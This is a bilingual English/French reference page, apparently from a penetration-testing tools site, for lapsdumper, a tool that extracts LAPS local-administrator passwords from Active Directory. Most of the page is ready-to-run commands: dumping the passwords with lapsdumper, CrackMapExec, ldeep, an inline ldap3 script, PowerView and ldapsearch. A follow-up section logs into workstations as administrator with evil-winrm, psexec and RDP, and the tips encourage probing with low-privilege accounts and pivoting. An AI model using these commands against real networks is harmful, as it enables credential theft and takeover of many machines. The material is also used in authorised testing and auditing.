← retour aux outils back to tools

# lapsdumper

Dumpe les mots de passe LAPS (Local Administrator Password Solution) depuis Active Directory. Récupère les mots de passe administrateur locaux gérés si l'utilisateur courant a le droit de lecture. Dumps LAPS (Local Administrator Password Solution) passwords from Active Directory. Retrieves managed local admin passwords if the current user has read permission.

↗ https://github.com/n00py/LAPSDumper

## Overview

LAPS (Local Administrator Password Solution) manages unique local administrator passwords for domain-joined computers, storing them in Active Directory. lapsdumper retrieves these passwords via LDAP when the authenticated user has read access to the `ms-Mcs-AdmPwd` attribute — which may be granted to help desk staff, specific groups, or misconfigured broadly.

## Basic Usage

Dump LAPS passwords with domain credentials

    python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local

Target specific DC

    python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local -l DC01.domain.local

With NTLM hash

    python3 lapsdumper.py -u user -H 'NTLM_HASH' -d domain.local

Filter to specific computer

    python3 lapsdumper.py -u user -p pass -d domain.local -c WORKSTATION01

## Alternative Methods

With CrackMapExec

    crackmapexec ldap DC01 -u user -p 'P@ssw0rd' -M laps

With ldeep

    ldeep ldap -u user -p pass -d domain.local -s ldap://DC01 laps

    # With impacket (custom LDAP query)
    python3 -c "
    from ldap3 import Server, Connection, ALL, NTLM
    s = Server('DC01', get_info=ALL)
    c = Connection(s, user='DOMAIN\\\\user', password='pass', authentication=NTLM)
    c.bind()
    c.search('DC=domain,DC=local', '(ms-Mcs-AdmPwd=*)', attributes=['cn','ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime'])
    for e in c.entries: print(e)
    "

With PowerView (from Windows)

    Get-DomainComputer -Filter {ms-Mcs-AdmPwd=*} -Properties DNSHostName,ms-Mcs-AdmPwd

With native LDAP query

    ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
      -b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd cn

## Who Can Read LAPS

Check who has read access to ms-Mcs-AdmPwd attribute With PowerView:

    Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=local"

    # With BloodHound: look for ReadLAPSPassword edges
    # Typically granted to:
    # - Domain Admins (always)
    # - Delegated help desk groups
    # - Sometimes misconfigured: Domain Users or Everyone

## After Getting LAPS Password

Connect to target as local admin

    evil-winrm -i WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

Or with CrackMapExec

    crackmapexec smb WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

RDP

    xfreerdp /v:WORKSTATION01 /u:administrator /p:'<LAPS_PASSWORD>'

PSExec

    impacket-psexec administrator:'<LAPS_PASSWORD>'@WORKSTATION01

## Tips

- LAPS read access is sometimes misconfigured — always check even with low-privilege users
- BloodHound’s `ReadLAPSPassword` edge makes it easy to visualize who can read what
- LAPS passwords rotate, but the current one is in AD — check expiry with `ms-Mcs-AdmPwdExpirationTime`
- If a help desk account is compromised, LAPS access may pivot to many workstations

Help / Man page

    lapsdumper.py [options]

    -u USER     Username
    -p PASS     Password
    -H HASH     NTLM hash
    -d DOMAIN   Domain name
    -l DC       Domain Controller IP/hostname
    -c COMP     Target specific computer name

## Vue d’ensemble

LAPS (Local Administrator Password Solution) gère des mots de passe administrateur locaux uniques pour les ordinateurs joints au domaine, en les stockant dans Active Directory. lapsdumper récupère ces mots de passe via LDAP lorsque l’utilisateur authentifié a un accès en lecture à l’attribut `ms-Mcs-AdmPwd`, ce qui peut être accordé au personnel du support technique, à des groupes spécifiques, ou de façon trop large en cas de mauvaise configuration.

## Utilisation de base

    # Dumper les mots de passe LAPS avec des identifiants de domaine
    python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local

    # Cibler un DC spécifique
    python3 lapsdumper.py -u user -p 'P@ssw0rd' -d domain.local -l DC01.domain.local

    # Avec un hash NTLM
    python3 lapsdumper.py -u user -H 'NTLM_HASH' -d domain.local

    # Filtrer sur un ordinateur spécifique
    python3 lapsdumper.py -u user -p pass -d domain.local -c WORKSTATION01

## Méthodes alternatives

    # Avec CrackMapExec
    crackmapexec ldap DC01 -u user -p 'P@ssw0rd' -M laps

    # Avec ldeep
    ldeep ldap -u user -p pass -d domain.local -s ldap://DC01 laps

    # Avec impacket (requête LDAP personnalisée)
    python3 -c "
    from ldap3 import Server, Connection, ALL, NTLM
    s = Server('DC01', get_info=ALL)
    c = Connection(s, user='DOMAIN\\\\user', password='pass', authentication=NTLM)
    c.bind()
    c.search('DC=domain,DC=local', '(ms-Mcs-AdmPwd=*)', attributes=['cn','ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime'])
    for e in c.entries: print(e)
    "

    # Avec PowerView (depuis Windows)
    Get-DomainComputer -Filter {ms-Mcs-AdmPwd=*} -Properties DNSHostName,ms-Mcs-AdmPwd

    # Avec une requête LDAP native
    ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
      -b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd cn

## Qui peut lire LAPS

    # Vérifier qui a un accès en lecture à l'attribut ms-Mcs-AdmPwd, avec PowerView
    Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=local"

    # Avec BloodHound : chercher les arêtes ReadLAPSPassword
    # Généralement accordé à :
    # - Domain Admins (toujours)
    # - Groupes help desk délégués
    # - Parfois mal configuré : Domain Users ou Everyone

## Une fois le mot de passe LAPS obtenu

    # Se connecter à la cible en tant qu'admin local
    evil-winrm -i WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

    # Ou avec CrackMapExec
    crackmapexec smb WORKSTATION01 -u administrator -p '<LAPS_PASSWORD>'

    # RDP
    xfreerdp /v:WORKSTATION01 /u:administrator /p:'<LAPS_PASSWORD>'

    # PSExec
    impacket-psexec administrator:'<LAPS_PASSWORD>'@WORKSTATION01

## Conseils

- L’accès en lecture LAPS est parfois mal configuré : toujours vérifier, même avec des utilisateurs peu privilégiés
- L’arête `ReadLAPSPassword` de BloodHound facilite la visualisation de qui peut lire quoi
- Les mots de passe LAPS tournent, mais le mot de passe actuel est dans l’AD : vérifier l’expiration avec `ms-Mcs-AdmPwdExpirationTime`
- Si un compte help desk est compromis, l’accès LAPS peut permettre de pivoter vers de nombreux postes

Aide / Page de manuel

    lapsdumper.py [options]

    -u USER     Username
    -p PASS     Password
    -H HASH     NTLM hash
    -d DOMAIN   Domain name
    -l DC       Domain Controller IP/hostname
    -c COMP     Target specific computer name